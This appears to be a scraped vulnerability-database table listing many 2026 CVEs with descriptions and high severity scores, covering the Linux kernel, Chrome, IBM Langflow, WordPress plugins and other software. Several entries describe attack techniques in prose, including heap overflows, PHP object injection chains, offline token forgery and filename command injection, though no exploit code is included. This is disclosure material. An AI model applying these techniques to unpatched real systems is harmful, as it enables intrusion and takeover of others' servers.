CVE-2026-80945	In the Linux kernel, the following vulnerability has been resolved: crypto: iaa - unmap dst before software fallback on decompress On a hardware analytics error, decompress retries through the software fallback, which writes req->dst with the CPU while it is still mapped DMA_FROM_DEVICE. With SWIOTLB active the later dma_unmap_sg() copies the stale bounce buffer over req->dst, corrupting the result. Unmap before the fallback runs. The async path unmaps inline; the sync path signals the retry with -EAGAIN so iaa_comp_adecompress() runs the fallback after unmapping.	9.1	More Details
CVE-2026-16272	Use of less trusted source vulnerability in PayTR Payment and Electronic Money Institution Inc. PayTR Virtual Pos iFrame API (v9x) WHMCS Module allows Exploitation of Trusted Identifiers. This issue affects PayTR Virtual Pos iFrame API (v9x) WHMCS Module: from v9.0.0 before v9.0.3.	9.1	More Details
CVE-2026-19646	IBM Common Licensing Agent 9.0, Agent 9.0.0.1, Agent 9.0.0.2, ART 9.0, ART 9.0.0.1, and ART 9.0.0.2 could allow a remote attacker to redirect users to an arbitrary domain due to improper validation of the HTTP Host header.	9.1	More Details
CVE-2026-53939	OpenIDC/cjose is a C library implementing the Javascript Object Signing and Encryption (JOSE). In versions 0.6.1 through 0.6.2.5, when cjose encrypts a JWE using an AES-CBC-HMAC content-encryption algorithm (`A128CBC-HS256`, `A192CBC-HS384`, or `A256CBC-HS512`) together with any key-management algorithm that generates a fresh content-encryption key (CEK), the CEK is all zero bytes instead of being randomly generated. The resulting JWE is therefore encrypted and authenticated under a fixed, publicly known key, so anyone who obtains the JWE can recover the plaintext and forge or modify the content. This is fixed in version 0.6.2.6 by `_cjose_jwe_set_cek_aes_cbc()` generating the CEK from `RAND_bytes`. A regression test asserts that the `encrypted_key` differs across two encryptions for each AES-CBC-HMAC variant. Until upgrading, for data encrypted with cjose, three options are available. Use an AES-GCM `enc` (`A128GCM` / `A192GCM` / `A256GCM`) instead of an AES-CBC-HMAC `enc`, use `alg=dir` with a caller-supplied CEK, or avoid using cjose for JWE encryption with the affected algorithm pair. These are mitigations for new ciphertexts only; data already encrypted under the zero key remains compromised and should be re-encrypted (and any secrets it contained rotated).	9.1	More Details
CVE-2026-44950	fs_read_glyphs() in the libXfont2 font-server client (src/fc/fserve.c) copies each glyph's bitmap into a single buffer. Existing checks validates only that the source slice (position, length) lies within the source bitmap buffer. It does not check whether the running destination cursor has exceeded the allocation. A malicious font server can send overlapping source offsets -- for example 1000 glyphs each referencing {position:0, length:64} with nbytes=64. Each individual source range passes the existing validation, but the cumulative writes total 64000 bytes into a 64-byte destination buffer. This is a heap buffer overflow with attacker-controlled content.	9.0	More Details
CVE-2026-59679	fs_read_glyphs() in the libXfont2 font-server client (src/fc/fserve.c) indexes the per-character encoding[] array using num_chars from the FS_QueryXBitmaps16 reply, but that array was allocated with a size derived from num_extents in the separate FS_QueryXExtents16 reply. The two CARD32 fields are never cross-checked. A malicious or compromised font server can send a small num_extents (e.g. 1) in the extents reply, then a large num_chars (e.g. 100000) in the bitmaps reply. This causes attacker-controlled out-of-bounds heap read and writes.	9.0	More Details
CVE-2026-87613	Incorrect reference resolution in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Medium)	9.0	More Details

OTHER VULNERABILITIES

CVE Number	Description	Base Score	Reference
CVE-2026-62102	Subscriber Privilege Escalation in Gato GraphQL <= 19.2.3 versions.	8.8	More Details
CVE-2026-79742	IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to an incomplete environment variable blocklist.	8.8	More Details
CVE-2026-78569	IBM Langflow OSS 1.0.0 through 1.11.5 could allow an authenticated attacker to execute arbitrary code due to an incomplete denylist in the security scanner.	8.8	More Details
CVE-2026-78571	IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to an unguarded eval() call on attacker-controlled input.	8.8	More Details

CVE-2026-87585	Double free in PDFium in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted PDF file. (Chromium security severity: High)	8.8	More Details
CVE-2026-78575	IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary commands due to improper validation of command-line arguments in the MCP stdio server configuration.	8.8	More Details
CVE-2026-87587	Use after free in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-87588	Use after free in Chromecast in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.8	More Details
CVE-2026-81211	IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary Python code due to improper authorization of custom components in stored flows.	8.8	More Details
CVE-2026-87617	Use after free in DevTools in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)	8.8	More Details
CVE-2026-57866	Server side request forgery in Apache Impala versions 4.4.x and 4.5.x. Authenticated Impala users with permissions to execute the ai_generate_text() function can exfiltrate secrets provided by the credential providers configured in the `hadoop.security.credential.provider.path` property of `core-site.xml`. The secret's key must be known to the user.	8.8	More Details
CVE-2026-41870	Missing Authorization, Improper Control of Generation of Code ('Code Injection'), Improper Control of Dynamically-Managed Code Resources, Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Apache Nutch Server (Nutch REST API). This issue affects Apache Nutch: from 1.11 through 1.22. Users are recommended to upgrade to version 1.23, which removes the Nutch Server. If an upgrade is not possible, user must restrict access to instances running the Nutch Service to trusted users only. Please, also visit the Apache Nutch security advisories https://nutch.apache.org/documentation/security/ .	8.8	More Details
CVE-2026-81550	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.	8.8	More Details
CVE-2026-81551	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to arbitrarily write to or delete files on shared storage due to a path traversal vulnerability.	8.8	More Details
CVE-2026-87612	Type confusion in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-81554	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an absolute-path traversal vulnerability.	8.8	More Details
CVE-2026-76059	IBM Langflow OSS 1.0.0 through 1.11.5 An attacker who could submit custom component source code could bypass the static security scanner by crafting an annotated class-body assignment that resolved to a dangerous callable through alias tracking; the resolved value was never checked against the dangerous callable blocklist due to the logic error. If the crafted component reached the runtime execution path, the attacker could cause arbitrary operating system commands to execute on the server in-process, with the privileges of the running service.	8.8	More Details
CVE-2026-87579	Buffer overflow in WebRTC in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.8	More Details
CVE-2026-75777	IBM Aspera Enterprise WebApps 1.0.0 through 1.0.5 could allow a local attacker to escape container protections due to unrestricted system calls being permitted within the container.	8.8	More Details
CVE-2026-75624	IBM App Connect Enterprise 13.0.1.0 through 13.0.8.1, and 12.0.1.0 through 12.0.12.27 could allow a remote authenticated attacker to bypass security restrictions due to incorrect authorization.	8.8	More Details
	The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to PHP Object		

CVE-2026-78175	Injection in all versions up to, and including, 4.0.7 via the `withdraw_method_field` parameter of the `tutor_save_withdraw_account` AJAX handler. This is due to the handler lacking any capability or role check, relying solely on a nonce, while also passing attacker-supplied values through `esc_sql()`, which replaces every `%` character with a 66-byte HMAC placeholder token before the data is serialized and stored via `update_user_meta()`; when the meta is later retrieved, the placeholder is collapsed back to a single `%`, leaving serialized string length declarations 65 bytes greater than the actual content, and because array keys originate from entirely unescaped POST field names, `unserialize()` over-reads into attacker-controlled bytes, allowing injection of an arbitrary serialized object stream. This makes it possible for authenticated attackers, with subscriber-level access and above, to achieve remote code execution on the server by triggering the `GuzzleHttp\Cookie\FileCookieJar` POP chain, reachable via the `spl_autoload_register` loader in `TUTOR\RestAPI` which loads the plugin's own bundled PayPal Composer autoloader, writing attacker-controlled content to an attacker-specified filename. This has an unauthenticated pathway when user registration is enabled, which is common for students and teachers to register, and it requires the monetization feature to be enabled.	8.8	More Details
CVE-2026-89445	In the Linux kernel, the following vulnerability has been resolved: iommufd: Fix UAF in selftest IOPF reporting IOMMUFD selftest TRIGGER_IOPF borrows an attach handle from group->pasid_array without synchronizing against PASID detach, then a concurrent iommu_report_device_fault() can dereference that borrowed handle's domain pointer after the detach erases the handle and frees the backing struct iommufd_attach_handle. TRIGGER_IOPF then dereferences the freed handle, causing a UAF. Fix by adding a iopf_rwsem in mock_dev to follow the expected design of a real driver. Hold its read side across the whole iommu_report_device_fault() call, and its write side around every path that attaches, detaches, or replaces a device domain. This can block new reports and drains in-flight reports before an old attach handle or the IOPF fault parameter can be removed. Also take the write side while registering a mock device, since it can invoke the mock driver's default-domain attach callback.	8.8	More Details
CVE-2026-87570	Incorrect authorization in SiteIsolation in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass site isolation via a crafted file. (Chromium security severity: Medium)	8.8	More Details
CVE-2026-89663	In the Linux kernel, the following vulnerability has been resolved: nfsd: revoke copy-notify stateids before dropping their reference Copy-notify stateids live in the s2s_cp_stateids IDR and on their parent stid's sc_cp_list, pinned by a single membership reference. _free_cpntf_state_locked() only unlinks an entry once its refcount reaches zero, so any revoke path that runs while a concurrent find_cpntf_state()/manage_cpntf_state() holder has elevated cs_count drops the reference without unlinking, leaving the entry discoverable with its membership reference already consumed. A second revoke or a laundromat tick then frees it while the reader still holds the pointer -- a KASAN-detectable use-after-free at the reader's nfs4_put_cpntf_state(). This affected all three revoke paths: - The parent-stid drain (nfs4_free_cpntf_statelist()) repeatedly called _free_cpntf_state_locked() on the first list entry; a holder that had bumped cs_count made it return early, so the next iteration re-decremented and burned the holder's reference. - OFFLOAD_CANCEL (manage_cpntf_state()) and laundromat expiry likewise used _free_cpntf_state_locked() and could drop 2->1 without unlinking. Add revoke_cpntf_state_locked(), which unhashes the entry from the IDR and sc_cp_list first (deferring the final free to any holder), and use it from all three revoke paths. The drain now walks with list_for_each_entry_safe() and revokes each entry unconditionally, so it terminates in one pass per entry regardless of cs_count. The unhash is gated on !list_empty(&cps->cp_list); the idr_remove() gate matters because idr_alloc_cyclic() may have recycled the so_id by then. Keep _free_cpntf_state_locked() for the reference-holder put path only, where a concurrent revoke may already have unlinked the entry (its list_del_init() then a no-op).	8.8	More Details
CVE-2026-87817	GitPython before 3.1.60 fails to properly validate the git directory location, allowing attackers to impersonate the git directory using tracked files like gitdir, commondir, and HEAD. Attackers can execute arbitrary code by placing a malicious pre-commit hook in the tracked hooks directory that executes when a victim calls index.commit() on a cloned or opened repository.	8.8	More Details
CVE-2026-89450	In the Linux kernel, the following vulnerability has been resolved: iommu/tegra241-cmdqv: Reject a vSID wider than the SID_MATCH field tegra241_vintf_init_vsid() programs the guest-provided vSID into SID_MATCH, whose VIRT_SID field spans bits [20:1] with bit 0 as the match-enable flag. The HW therefore matches only a 20-bit Stream ID. The bound check rejects only virt_sid > UINT_MAX, which admits a value far wider than the field. The write "virt_sid << 1 | 0x1" then drops every bit above 20: a virt_sid of 0x80000000 lands as SID_MATCH = 0x1, a valid match on vSID 0, so the entry aliases the wrong Stream ID. Because vdev->virt_id is guest-controlled, a VMM can trigger it. Validate virt_sid against the field width with FIELD_MAX(), and program the register with FIELD_PREP() so the value and the field stay consistent.	8.8	More Details
CVE-2026-15451	The MemberPress Corporate Accounts plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 1.5.39. This is due to a mass assignment vulnerability in the 'add_sub_account_user' function that passes the raw 'userdata' array to 'wp_insert_user' without filtering dangerous keys like role or ID. This makes it possible for authenticated attackers, with subscriber-level access and above who hold a corporate account, to create new administrator accounts or hijack existing administrator accounts by overwriting their email addresses. The vulnerability was partially patched in version 1.5.39.	8.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: HID: sensor: custom: Fix field sysfs group		

CVE-2026-89626	cleanup on failure hid_sensor_custom_add_attributes() creates one sysfs group for each custom sensor field. If sysfs_create_group() fails after some groups have already been created, the function returns the error without removing the previously created groups. Add a local unwind path to remove the groups that were already created. With enable_sensor exposed only after the field attributes are ready, this path can free sensor_inst->fields without leaving enable_sensor able to access pointers into that array.	8.8	More Details
CVE-2026-87542	Use after free in Input in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-73693	FileRun before 2026.3.0 contains an OS command injection vulnerability in the PhotoProofSheet handler that allows authenticated users with upload permission to execute arbitrary commands by uploading files with shell metacharacters in their names. Attackers can upload a file containing command substitution syntax such as backticks, semicolons, or $() sequences in the filename, then trigger the PhotoProofSheet endpoint to execute arbitrary commands as the web-server user due to missing escapeshellarg() sanitization in the ImageMagick montage command construction.	8.8	More Details
CVE-2026-88959	Anchor CMS through 0.12.7 fails to enforce role-based access control in admin user-management endpoints, allowing any authenticated low-privilege user to create administrator accounts or modify existing ones. Attackers with editor or user roles can POST directly to admin/users/add or admin/users/edit endpoints to create new administrator accounts or change the existing administrator's password, gaining full administrative access.	8.8	More Details
CVE-2026-87536	Use after free in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-88937	knowns through 0.33.0 fails to properly validate template destination paths in the code generation template engine, allowing attackers to read and write arbitrary files outside the project root. Attackers can supply malicious templates that traverse directories to overwrite shell profiles, steal credentials, or achieve persistent code execution on victim systems.	8.8	More Details
CVE-2026-81940	IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special characters in flow display names.	8.8	More Details
CVE-2026-81941	IBM Langflow OSS 1.0.0 through 1.11.5 allows an authenticated non-administrative user could execute arbitrary operating system commands on the server at the privilege level of the application process by constructing a flow with an MCP Tools component configured to use a local stdio subprocess transport. This bypasses both the LANGFLOW_CUSTOM_COMPONENT_ADMIN_ONLY and LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS server-side controls intended to prevent exactly this class of access. Successful exploitation could lead to arbitrary command execution, sensitive data exposure (including credentials from the process environment), file system modification, and lateral movement to services reachable from the server.	8.8	More Details
CVE-2026-89493	In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate rl_used against rl_count in refcount block validator ocfs2_find_refcount_rec_in_rl() walks the on-disk refcount record array with: for (; i < le16_to_cpu(rb->rf_records.rl_used); i++) { rec = &rb->rf_records.rl_recs[i]; ... rl_recs[] lives in a single metadata block (4096 bytes on the common configuration), so its real capacity is fixed by ocfs2_refcount_recs_per_rb(sb) (247 records for a 4K block with the 16-byte ocfs2_refcount_rec). rl_used and rl_count are both read directly off disk by ocfs2_validate_refcount_block() and are never checked against that capacity, nor against each other, before any refcount/reflink/CoW operation walks the array. A crafted (or corrupted) refcount block with rl_used == 0xffff makes the loop above walk far past the end of the block, dereferencing rl_recs[i] for i up to 65534. The resulting index is then handed to the sibling ocfs2_insert_refcount_rec(), whose insert-shift does: if (index < le16_to_cpu(rf_list->rl_used)) memmove(&rf_list->rl_recs[index + 1], &rf_list->rl_recs[index], (le16_to_cpu(rf_list->rl_used) - index) * sizeof(struct ocfs2_refcount_rec)); i.e. a memmove() of up to (0xffff - index) * 16 bytes (~1 MiB) from an offset already past the block. This is reachable from an ordinary reflink (FICLONE) against a crafted/corrupted ocfs2 image: attaching an extent whose cpos sorts past every real record in the leaf forces the lookup to run off the end instead of returning early on a match. The attacker model is local: CAP_SYS_ADMIN mounting a crafted or corrupted ocfs2 image, or a raw write to the block device backing an already-mounted ocfs2 filesystem. ocfs2_validate_refcount_block() already validates the block's ECC, signature, rf_blkno and rf_fs_generation, but never rl_count/rl_used against the block's actual on-disk capacity. This is the same class of gap that ocfs2_validate_extent_block() (fs/ocfs2/alloc.c) already closes for the sibling extent-list header, which checks both the record capacity and the "used" bound before any code walks h_list.l_recs[]: if (le16_to_cpu(eb->h_list.l_count) != ocfs2_extent_recs_per_eb(sb)) { rc = ocfs2_error(...); goto bail; } if (le16_to_cpu(eb->h_list.l_next_free_rec) > le16_to_cpu(eb->h_list.l_count)) { rc = ocfs2_error(...); goto bail; } Add the equivalent pair of checks to ocfs2_validate_refcount_block(): reject a refcount block whose rl_count does not match the fixed per-block capacity returned by ocfs2_refcount_recs_per_rb(), and reject rl_used > rl_count. Both checks are skipped when OCFS2_REFCOUNT_TREE_FL is set, because in that case the same union bytes hold an ocfs2_extent_list (rf_list), not the refcount record list (rf_records) -- that layout is already validated separately by ocfs2_validate_extent_block() when the referenced extent block is read. This mirrors	8.8	More Details

	the existing "!(rb->rf_flags & OCFS2_REFCOUNT_TREE_FL)" guard used elsewhere in this file (e.g. ocfs2_get_refcount_rec()) to decide whether rf_records or rf_list is the live member of the union. With this in place, a forged rl_used/rl_count is caught at block validation time (ocfs2_error()), consistent with every other corruption check in this function, instead of driving an out-of-bounds read in ocfs2_find_refcount_rec_in_rl() and a subsequent out-of-bounds memmove() in ocfs2_insert_refcount_rec(). Verified against a crafted image on a v6.19 KASAN (KASAN_GENERIC) build: replaying the same reflink (FICLONE) reliably hit a KASAN report in __ocfs2_increase_refcount()/ocfs2_insert_refcount_rec() before this patch, and triggers no report once ocfs2_validate_refcount_block() rejects the forged rl_used/rl_count.		
CVE-2026-71416	Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the `Origin` header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the `OPENAI_API_KEY` environment variable. Version 0.35.0 fixes the issue.	8.8	More Details
CVE-2026-89176	WeenyGenius, a computer lab management system developed by Howyar Technologies, has a Missing Authentication vulnerability. Unauthenticated attackers on the same network can easily spoof student or teacher endpoints. Impersonating a student can disrupt normal classroom operations, whereas impersonating a teacher can induce student computers to initiate connections, thereby gaining remote control over the student endpoints.	8.8	More Details
CVE-2026-89177	WeenyGenius, a computer lab management system by Howyar Technologies, has a Use of Insecure Protocol vulnerability. Due to the reliance on ZMTP Null mode, unauthenticated attackers on the same network can capture packets to leak transmitted data, or perform replay attacks with forged commands to disrupt classroom operations.	8.8	More Details
CVE-2026-89178	WeenyGenius, a computer lab management system by Howyar Technologies, has an Origin Validation Error vulnerability. Unauthenticated attackers on the same network can spoof the teacher workstation and send broadcast packets, causing student computers to attempt to establish a connection with the attacker.	8.8	More Details
CVE-2026-89725	In the Linux kernel, the following vulnerability has been resolved: media: cec: stm32: prevent out-of-bounds write on RX overflow stm32_rx_done() appends each received CEC byte to rx_msg.msg[] using rx_msg.len as the write index, incrementing it on every RXBR (receive-byte-ready) interrupt without checking it against the buffer size: cec->rx_msg.msg[cec->rx_msg.len++] = val & 0xFF; rx_msg.msg[] is a fixed CEC_MAX_MSG_SIZE (16) byte array in struct cec_msg, and rx_msg.len is only reset on RXACKE/RXOVR or after a completed message (RXEND). The number of bytes received before RXEND is decided by the remote CEC device (it sets EOM), not by the driver. A peer that keeps sending bytes without ending the message drives RXBR repeatedly, pushing rx_msg.len past 16 and writing peer-controlled bytes out of bounds into the surrounding memory. This is reachable in normal operation once the driver has probed and receiving is enabled, from the IRQ thread, without any local privilege. The length check in the CEC core runs on the consumer side, after the byte has been stored, so it does not prevent the overflow. Bound the index in the driver before the store, as the other platform CEC drivers already do (e.g. tegra_cec), dropping the excess bytes of an overlong frame. Found by static analysis tool CodeQL.	8.8	More Details
CVE-2026-89729	In the Linux kernel, the following vulnerability has been resolved: HID: sensor-hub: Fix out-of-bounds write in sensor_hub_get_feature sensor_hub_get_feature() clamps its return value to the caller's buffer size, but the copy loop still copies field->report_size / 8 bytes for each report value. A malicious HID descriptor can advertise a large feature field size while an IIO caller supplies a small stack buffer, such as a single s32, causing an out-of-bounds write. HID core stores parsed report values in __s32 slots and clamps extracted values to 32 bits. Reject feature fields that require more than one slot per value, guard the total byte count calculation, and clamp each per-value copy to the remaining caller buffer.	8.8	More Details
CVE-2026-76801	The FireBox – WooCommerce Popup Builder, Exit Intent Popup, Email Optin & Cart Abandonment plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 3.1.10 via the value function. This is due to a trivially bypassable regex blacklist in Executer::allowedToRun() that fails to block WordPress core functions such as wp_insert_user, update_option, and file_put_contents, combined with no sanitization of PHP condition rule values stored via the firebox_meta REST endpoint. This makes it possible for authenticated attackers, with author-level access and above, to execute code on the server. On sites upgraded from a version prior to 3.1.10, the Migrator::preserveCampaignRoleAccess() function automatically grants the edit_fireboxes and publish_fireboxes capabilities to the Author role, lowering the effective entry point to Author-level access.	8.8	More Details
CVE-2026-38056	A local privilege escalation vulnerability exists in the iDirect iQ200 VSAT terminal running firmware 23.0.1.0. The iQ200 is a rackmount satellite modem deployed across oil and gas, maritime, defense, and remote infrastructure as the primary, and often sole communications link for offshore rigs, vessels, and remote sites. Important context: the device ships from the factory with a pre-configured low-privilege local user account. This account is intended for field technicians who need shell access for maintenance and diagnostics but should not have full administrative control over the device. This built-in account provides the initial access required to exploit this vulnerability. No additional credentials need to be obtained or brute-forced.	8.8	More Details

CVE-2026-87766	A flaw was found in bubblewrap. During sandbox setup, creating files or directories under the new root can follow a parent symlink onto the host via /oldroot, writing attacker-chosen paths outside the sandbox as the launching user. This happens before the sandboxed process starts. This issue is GHSA-pxhw-h44j-8pfx. It is fixed in bubblewrap 0.12.0.	8.8	More Details
CVE-2026-62106	Subscriber Privilege Escalation in SMS Alert Order Notifications <= 3.9.9 versions.	8.8	More Details
CVE-2026-62107	Unauthenticated PHP Object Injection in Masteriyo - LMS <= 3.4.0 versions.	8.8	More Details
CVE-2026-74933	The GenieWords WordPress plugin from 1.5.27 to 1.5.34 does not have authorisation checks on some of its REST API and AJAX actions, and decodes stored values before printing them, allowing unauthenticated users to overwrite its configuration and inject arbitrary web scripts that execute on every front-end page.	8.8	More Details
CVE-2026-80937	In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: bound the device EEPROM address before the EFUSE copy mt7915_mcu_get_eeprom() copies a fixed EFUSE block into the driver's dev->mt76.eeprom.data buffer at the offset reported by the MCU response (res->addr, a device-controlled __le32) without checking it against the buffer size. A malicious or malfunctioning device can report an arbitrary address and drive a 16-byte out-of-bounds write past eeprom.data. Reject a response whose address would place the copy outside eeprom.data before deriving the destination pointer. Devices that echo the requested in-bounds offset are unaffected.	8.8	More Details
CVE-2026-21094	Improper input validation in wpa_supplicant prior to SMR Sep-2026 Release 1 allows adjacent attackers to write out-of-bounds memory.	8.8	More Details
CVE-2026-80935	In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: bound the device EEPROM address before the EFUSE copy mt7996_mcu_get_eeprom() derives the destination of the EFUSE/EXT block copy from the address reported by the MCU response (event->addr, a device-controlled __le32) and clamps only the copy length, never the destination offset into dev->mt76.eeprom.data. A malicious or malfunctioning device can report an arbitrary address and drive an out-of-bounds write of up to MT7996_EXT_EEPROM_BLOCK_SIZE bytes past eeprom.data. Reject a response whose address would place the copy outside eeprom.data before deriving the destination pointer. Devices that echo the requested in-bounds offset are unaffected.	8.8	More Details
CVE-2026-85129	The Hoo Companion WordPress plugin 1.0.2 does not have any authorisation or validation checks in one of its import features, and does not sanitise the data submitted to it before storing it as the active theme's settings, allowing unauthenticated attackers to inject arbitrary web scripts which will execute for anyone viewing the site, including administrators. The same request destroys the site's existing theme settings.	8.8	More Details
CVE-2026-85677	The Gutenverse News WordPress plugin before 3.3.3 does not restrict the extra HTML it adds to WordPress's allowed elements to the context it is meant for, applying the same relaxed list to every sanitisation context including untrusted comments, allowing unauthenticated users to store JavaScript that will execute in the browser of any administrator who reviews the comment queue, and of any visitor to the post once the comment is approved.	8.8	More Details
CVE-2026-73784	A potential security vulnerability in HPE IceWall products could be exploited to tamper SAML response, allowing an attacker to impersonate another user.	8.8	More Details
CVE-2026-88793	The YouTube Embed WordPress plugin from 10.0 to 10.3 does not perform any authorisation check on one of its AJAX actions, relying only on a nonce it prints on every front-end page, and does not escape the stored data before rendering it, allowing unauthenticated attackers to store arbitrary web scripts which will execute in the session of any user viewing the affected content, including an administrator.	8.8	More Details
CVE-2026-81742	The BE REST Endpoints WordPress plugin through 1.0.0 does not perform any authorization check before allowing widgets to be read, created, updated and deleted, and does not sanitize the values it stores in them, allowing unauthenticated users to inject arbitrary web scripts which will execute in the browser of any user visiting the site.	8.8	More Details
CVE-2026-87759	The Add User Autocomplete WordPress plugin before 1.2 does not perform any capability or nonce check before creating a pending site-membership invitation carrying a caller-supplied role, allowing any authenticated user, such as a subscriber, to grant themselves the administrator role on a multisite installation.	8.8	More Details
CVE-2026-	The YITH WooCommerce Waitlist Premium plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 3.35.0. This is due to the add_user_in_waiting_list() function registered on the wp_ajax_yith_wcwtl_add_user action being missing both a capability check and a nonce verification, and using parse_str() + extract() to import attacker-controlled variables from $_POST['params'] that are then	8.8	More Details

14359	passed to wp_create_user() and $user->set_role(). This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator by creating a new user account and assigning it the administrator role.		
CVE-2026-87636	Type confusion in XML in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	8.8	More Details
CVE-2026-80989	In the Linux kernel, the following vulnerability has been resolved: net: thunderbolt: Mark the connection down when bringing it up fails Every failure path in tbnet_connected_work() undoes its own work and returns without clearing login_sent, so the connection still looks established. The next tbnet_tear_down() therefore takes its main branch and repeats a teardown that already happened: it stops rings that are already stopped, which is a dev_WARN() and fatal under panic_on_warn, and it releases net->remote_transmit_path even on the HopID mismatch path, where this connection never owned that id, silently freeing one that someone else is still using. Clear login_sent on those paths. That is enough for tbnet_tear_down() to leave the unwound state alone, and login_received has to stay set: it records that the peer has logged in and carries the transmit path it gave us, which nothing on this side can make the peer send again. Two things change beyond keeping the teardown out of the way: the logout request in that block is no longer sent, and the peer's next login request now re-queues our login work rather than connected_work, giving the connection a fresh login instead of a retry on stale state.	8.8	More Details
CVE-2026-84889	IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote authenticated attacker to execute arbitrary code due to improper limitation of a pathname to a restricted directory.	8.8	More Details
CVE-2026-82099	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.	8.8	More Details
CVE-2026-82098	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.	8.8	More Details
CVE-2026-82097	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to a Server-Side Request Forgery (SSRF) vulnerability.	8.8	More Details
CVE-2026-87625	Use after free in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to execute arbitrary code inside the sandbox via a crafted Chrome extension. (Chromium security severity: Medium)	8.8	More Details
CVE-2026-80099	Several Newfold plugins are vulnerable to Authentication Bypass. The vulnerability exists because the plugins bundle the wp-module-data module. In the module, the `authenticate()` method — registered on the `rest_authentication_errors` filter and therefore evaluated for every unauthenticated REST API request — performs an HMAC-style Bearer token comparison that degenerates when `HiiveConnection::get_auth_token()` returns `false`: PHP coerces `strrev(false)` to `strrev('')`, collapsing the secret salt to the publicly known constant `hash('sha256', '') = e3b0c44...`, while all remaining hash inputs (HTTP method, request URL, raw request body, and the `X-Timestamp` header) remain fully attacker-controlled. This makes it possible for unauthenticated attackers to compute a valid Bearer token entirely offline, pass the token equality check, and have `wp_set_current_user()` invoked against the first administrator returned by `get_users(['role' => 'administrator'])`, granting full administrator-level access and enabling arbitrary REST API operations such as creating new administrator accounts and achieving complete site takeover. Vulnerable versions are WP Plugin Crazy Domains (<= 2.5.2), WP Plugin Web (<= 2.3.4), WP Plugin Hostgator (<= 3.1.0), WP Plugin Bluehost (<= 4.17.1). The affected module is vulnerable in versions up to, and including, 2.9.4.	8.8	More Details
CVE-2026-82095	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.	8.8	More Details
CVE-2026-82092	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an absolute-path traversal vulnerability.	8.8	More Details
CVE-2026-79987	A remote, authenticated, non-admin Craft CMS Control Panel user with only the accessCp permission can execute operating system commands as the PHP web worker.	8.8	More Details
CVE-2026-87569	Missing authorization in Views in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: High)	8.8	More Details

CVE-2026-71808	A SQL Injection vulnerability in Siam Ordering (siam-server) 1.0.0 allows remote authenticated attackers to execute arbitrary SQL commands via the ${} string concatenation in AdminMapper.java and multiple other Mapper files (including MerchantWithdrawRecordMapper.java and MemberWithdrawRecordMapper.java).	8.8	More Details
